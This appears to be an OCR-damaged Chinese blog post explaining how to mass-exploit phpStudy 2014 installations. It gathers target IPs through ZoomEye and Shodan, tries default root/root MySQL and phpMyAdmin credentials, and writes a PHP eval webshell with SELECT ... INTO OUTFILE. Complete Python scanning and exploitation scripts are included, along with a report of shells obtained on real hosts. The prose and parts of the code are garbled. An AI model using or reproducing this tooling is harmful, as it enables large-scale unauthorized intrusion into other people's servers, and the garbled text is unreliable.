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<blockquote>

<p>IREANERE—LFRAYETE? KRBT ! FIKRAMCRIE WebShell! </p>
</blockquote>

<h2 id="0--5|F%">0. 5|F</h2>

<p>BILERIAE—MEREETDANRE, SOMIAIIX N GE T A, BEER T <code>phpStu
y IRt 2014</code>, KHERIXHERY: <br> <img src="https://static.hacpai.com/images/img-|
ading.svg" alt="demo" data-src="https://image.hduzplus.xyz/image/1484707363139,jpg"><b
>BE 7T FZEAR, EXMREHEER, B— Ml MySQL SUEFEEZEENAIINEE: <br> <i
g src="https://static.hacpai.com/images/img-loading.svg" alt="demo2" data-src="https://im
ge.hduzplus.xyz/image/1484707444768.jpg"> <br> BILAEEIXMNHRE, X EEN LA MyS
L RIS ZH8. <br> REFRFRE TEIEERET <code>phpMyAdmin</code><br> <img
src="https://static.hacpai.com/images/img-loading.svg" alt="demo3" data-src="https://image
hduzplus.xyz/image/1484707569139.jpg" > <br> FEFAEEBEEEZINLT <code>/phpmy
dmin</code> #1Ti5a), ;&%EF), HRIREIAIA. <br> <img src="https://static.hacpai.com/imag
s/img-loading.svg" alt="demo4" data-src="https://image.hduzplus.xyz/image/148470765555
Jjpg"><br> {FMAF5< <code>root/root</code> FINEMZfE, HMETHEE: <br> MySQL
BESHEUENIIEE <code>into outfile</code>, FMIZAILIEZRESH——GIEASHE, &
ﬁiﬁ%ﬂi&%ﬂ& LEITERIZ BT <code>phpStudy #REt 2014</code> FBNRMEREER, ABRFFA
i, </p>

<h2 id="1--85—""WebShell"> 1. —* WebShell</h2>

<p>mEhERL <code>phpMyAdmin</code> Zf5, fEFFHE SQL IhgE, SH—TEKRT, <br> <
mg src="https://static.hacpai.com/images/img-loading.svg" alt="demo5" data-src="https://i
age.hduzplus.xyz/image/1484708011051.jpg" > <br> {FHEZEJ)iERE, <br> <img src="https://s
atic.hacpai.com/images/img-loading.svg" alt="demo6" data-src="https://image.hduzplus.xyz/
mage/1484708222881.jpg" > <br> £2ZFiRSES. <br> <img src="https://static.hacpai.com/ima
es/img-loading.svg" alt="demo7" data-src="https://image.hduzplus.xyz/image/14847082701
2.jpg"></p>

<h2 id="2--B&tiRE" > 2. BatigfE</h2>

<p>LA ERVBRMFERRF THMF, WIRFERAMCRNGRI, WCF TR FEURIEFBalziT, <br>
LLERHSDH 5, BEDFlA: </p>

<ol>

<li>{#F <code>phpStudy #R§t</code> ERY MySQL &N TE, 1lRER550<S, WRER

, 1R MR </li>

<li>I§MEEFEBRR <code>/phpmyadmin</code> </li>

<li>Zff <code>phpmyadmin</code> </li>

<li>{#A <code>phpmyadmin</code> Y <code>SQL</code> IH&E, B—aIEARDSHEHE
&= </li>

</IiTﬁﬁ§§7]i¥$§‘ (XN ARBme</li>

</Ool>

<p>FEEIANEXAE, HFXAK, FHXEBREA <code>Python</code> {FATERIZES, R
79 3x, <br> BRINEETER HTML 4T BeautifulSoup FIMLEIEKEEZE requests, <br> LIR
RIZRUSARRS, ATESREN, EINRERREZEAE, SHEMDASENGR. ABRaMERE
</p>

<h3id="1--#550<"> 1. t&W55OQ< </h3>
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<p>EEEE: <code>MySQLConnectCheck(ip)</code><br> SLITHAE: RIBIRAS ERMISE i
, BHTREUENIRAY <code>MySQL</code> FRBEFAFEOS, WMRE, 5o ip iBR, B
Xﬂftl%?é, FRERFEE—NEZERLMUETRER. <br> SRR </p>
<0l>
<li>E5EME, BENENSSOSEERIRELINIZIZHISEL: <br> <img src="https://static.hac
ai.com/images/img-loading.svg" alt="demo9" data-src="https://image.hduzplus.xyz/image/1
84709102830.jpg" > </li>
<li> PRI —NEKRGE, RER HTML RERSMRIESERERMENAEE JS i <br> <img sr
="https://static.hacpai.com/images/img-loading.svg" alt="demo10" data-src="https://image.
duzplus.xyz/image/1484709226100.jpg" > </li>
<IiT1‘E?E 1, 2 BETLAHATHRID TIE</li>
</ol>
<h3 id="2--1&MphpmyadminBx">2. &l phpmyadmin B&</h3>
<p>FEEZ: <code>PhpMyAdminCheck(ip)</code> <br> SLHITHEE: RIESE ip, #MNEXT
A9 phpmyadmin TWERHM&RFE. <br> SLHUER: <br> (A requests BeEXdarE url #1TH1E),
HREHEZE S 200, </p>
<h3 id="3--&lEEphpmyadmin”> 3. {&{/Zfk phpmyadmin</h3>
<p>FEER: <code>LoginPhpMyAdmin(phpMyAdminURL)</code> <br> SLIINEE: RIES
phpMyAdminURL, HEETRER) phpmyadmin #7250, SRENEIRHEEEEA token 71 Cooki
<br> SCHER: <br> XBARY, HAMRBERT, RikiiR, <br> BIFAE TEMESEEIR
RISEES— token, XA token MIEfEZ fE/EIRIREILLTAY token (BE EXZHEREN, ATLAFL
FHAsEEZAXA token HIT TN —L(F, BRZBENZEATITEERF. BRI, HEHAY
1RAIRAS token B ZAFNTIRENE Cookie, &M token SPEEEFEAIIIITNE—#EREERK... <b
> .. LA ERIE REL, (BERNRBARESHIIEIERNE, FJERMFEHISIE, <br> B
TR — form REARNIERR, EEEAE, REERZ 302 AYATIE python B requests BB
follow redirect, BILATERIEIERAUAHMZIZE <code>allow redirect = False</code> 5EYH5Z
MM EXSE— history, <code>response.history[0]</code>, BE{RRIEFAMCASERTLUMAIIH R
</p>
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<h3 id="4--#147SQLIEG" >4. 117 SQL {5 </h3>
<p>REER: <code>ExecuteSQL(cookies, phpMyAdminURL, token)</code> <br> SCHITHEE
W4T SQL1ER), SH—GEARD <br> LHAER: BE— form RPRER, BEFRETLEAILUR
ZHSEIRRZAIEME. XERE token ] Cookie IEFRNEIRBLENA. </p>
<h3 id="5--fRIB TIEEARSERM">5. RIS LIEEASTM </h3>
<p>EXE8, BIRRCIEZRRTTH L. R TN ERNEIEBHNER ip, S THEETHEHCN
</p>
<h2 id="3--#tZ3REXIP" > 3. ##tEIREN IP</h2>
<p>EHPAM B P</p>
<0ol>
<li>fEf <a href="https://link.hacpai.com/forward?goto=https%3A%2F%2Fwww.zoomeye.or
" target="_blank" rel="nofollow ugc" > B iR </a> API #{t=3KEX </Ii>
<li>{#F <a href="https://link.hacpai.com/forward?goto=https%3A%2F%2Fwww.shodan.io" t
rget="_blank" rel="nofollow ugc">#§{E1#¥Z </a> API #it=3KEX</li>
<li T ERERS I EERXEF</Ii>
</ol>

<p>EAFNASTEZ IRFIBEIRRILESAE, FrLARERRI 2 7357, <br> X+ 1, BEE
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</p>

<ol>

<li>1A[a)<a href="https://link.hacpai.com/forward?goto=https%3A%2F%2Fwww.zoomeye.or
%2Fapidoc” target="_blank" rel="nofollow ugc">$ff&Z R AP 3#l</a>, {RIEEHRMHHIGIES
SREXZE! Access_token</li>

<li>fFM <code>FHiRFEIEZR </code> =, WEREM <code>phpStudy 2014</code>,
& <code>phpStudy 2014 Country:CN</code> #/T3REN, FAAMLK, TTLASKEXZE 1-400 TIH9
&, KA 4000 1 IP</li>

<IiT{§H§ python STEREXZEIRY ip #H1TEIR, (REBH ip ik <br> (CIBRERE, WTF: </li>

</ol>

<pre><code class="highlight-chroma">import requests

headers = {"Authorization":"X"}

url = "https://api.zoomeye.org/host/search?query=phpStudy+2014not found render function
or node [type=NodeHTMLEntity, Tokens=&]not found render function for node [type=Node
TMLEntity, Tokens=&]page="

f = open("ip.txt", "a+")

foriin range(1,401):

print(i)

target = url + str(i)

try:

response = requests.get(target, timeout = 1, headers = headers)

print(response.text)

matches = response.json()["matches"]

for result in matches:

ip = result["ip"]

f.write(ip + "\n")

except BaseException as e:

continue

f.close()

</code></pre>

<p>XTHERER, BERNEIAEHEEELMN, EHART. </p>

<h2 id="4--FFAMEEwebshell" > 4. FFEIBEY webshell</h2>

<p>TEUt 2RI, FTEXIFANRIAEIETINT, HERIIZ ip.txt WA ip IEEWE, @15 http://ip
K=, FERJEA <code>MySQLConnectCheck(ip)</code> /5i%k, </p>

<h2 id="5--1=17&E"> 5. iz1TEE </h2>

<p><img src="https://static.hacpai.com/images/img-loading.svg" alt="demo11" data-src="h
tps://image.hduzplus.xyz/image/1484754846133.jpg" > <br> <img src="https://static.hacpai.c
m/images/img-loading.svg" alt="demo12" data-src="https://image.hduzplus.xyz/image/148
755028023.jpg"> <br> BERAZEREEN! </p>

<h2 id="6--B8">6. B8 </h2>

<p>IXFRREESCLAEIR, SEREEIRY webshell HiELERD. <br> (BEFERICRIKEUX KR
tUIE—LEERpIEIR A SRE T, seBRIRIRMRIEER, <br> BRJEEZE, RIMBRSAIA

ZFI 7. BRTESH—TEARD.. <br> BEEEE 7T —LXE. F8/Y IP, FAEAIATLUF
fttfi#E— VPN I8, 1BIZE, </p>
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<h2id="7--&fF-ER8">7. &fF, LRB</h2>
<p>RIEERIBELEL, WiR</p>
<pre><code class="highlight-chroma">import requests
import re
from bs4 import BeautifulSoup

def writeMySQLOKIp(ip):

with open("mysql.txt", "a") as f:
f.write(ip+"\n")

def writeShelllp(ip):
with open("shell.txt", "a") as f:
f.write(ip + "\n")

def MySQLConnectCheck(ip):
global location

data = {

"host": "localhost”,
"port": "3306",
"login": "root",

"password": "root",
"aCt"Z n MySQL*ﬁ;ﬂu ||’

"funName": ""

}

action = "/l.php"
try:

formAction = ip + action

response = requests.post(formAction, data = data, timeout = 5)
if response.ok:

print(ip, "JAIEIATH")

body = response.text

htmIBody = BeautifulSoup(body, "html.parser")

if htmIBody.select("script")[0].string.find("IEE") != -1:

print(ip, "SUREEEERLTY")
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trs = htmlBody.select("table")[0].select("tr")

location = trs[-2].select("td")[-1].string
writeMySQLOKIp(ip)

PhpMyAdminCheck(ip)

else:

print(ip, "SUREERLM")

else:

print(ip, "I}

except BaseException as e:

print(ip, "JalEEIR"

PhpMyAdminCheck(ip)

def PhpMyAdminCheck(ip):

phpMyAdminURL = ip + "/phpmyadmin"

try:

response = requests.get(phpMyAdminURL, timeout=5)
if response.ok:

print(ip, "phpmyadmini&EiZakIn")
LoginPhpMyAdmin(phpMyAdminURL)

else:

print(ip, "phpmyadminiE#z5LK ")

except BaseException as e:

print(ip, "error")

def LoginPhpMyAdmin(phpMyAdminURL):

try:

data = {"pma_username": "root", "pma_password": "root", "server": "1", "lang": "en"}
response = requests.post(phpMyAdminURL+"/index.php", data=data, timeout=5)
# 15Token

pat = re.compile(r"var token = '(\S*)"")

token = re.findall(pat, response.text)[0]

def ExecuteSQL(cookies, phpMyAdminURL, token):

global location

try:

sql = "select 'not found render function for node [type=NodeHTMLEntity, Tokens=<]

ot found render function for node [type=NodeHTMLEntity, Tokens=<]?php @eval($ POST[set

ing])?not found render function for node [type=NodeHTMLEntity, Tokens=>]not found
ender function for node [type=NodeHTMLEntity, Tokens=>]" into outfile '" + location + "/sett

ng.php""
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data = {
"is_js_confirmed":"0",
"db": "mysql",
"token": token,

pos": "0",
"prev_sql_query": "",
"goto": "db_sql.php”,
"message to show": "123",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "1",

"ajax_request": "true"

}

headers = {"Cookie": cookies}

response = requests.post(phpMyAdminURL+"/import.php", data=data, headers=headers, tim

out=3).json()
if response["success"]:

print(phpMyAdminURL+"/setting.php”, "webshelllEX\AIH, pwd:setting”);

writeShelllp(phpMyAdminURL+"/setting.php")

else:

print(phpMyAdminURL, "webshel ilEASM, reason:", response["error"]);

except BaseException as e:

print(phpMyAdminURL, "error")

def main():

with open("ip.txt", "r") as f:
for linein f:

ip = line.strip("\n")

target = "http://" + ip

try:
MySQLConnectCheck(target)
except BaseException as e:
print(e)

continue

location =
if name == "main";

main()

JES5EEE: (R Python #EZMEEX WebShell


https://hacpai.com/article/1484755711582

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"> </scr
pt>

<l-- BEIRPCIGFAER-FEs -->

<ins class="adsbygoogle" style="display:block" data-ad-client="ca-pub-5357405790190342"
data-ad-slot="8316640078" data-ad-format="auto" data-full-width-responsive="true"> </in
>
<script>

(adsbygoogle = window.adsbygoogle || [1).push({});
</script>

FSZ4ERE: (A Python #itZIEEY WebShell


https://hacpai.com/article/1484755711582

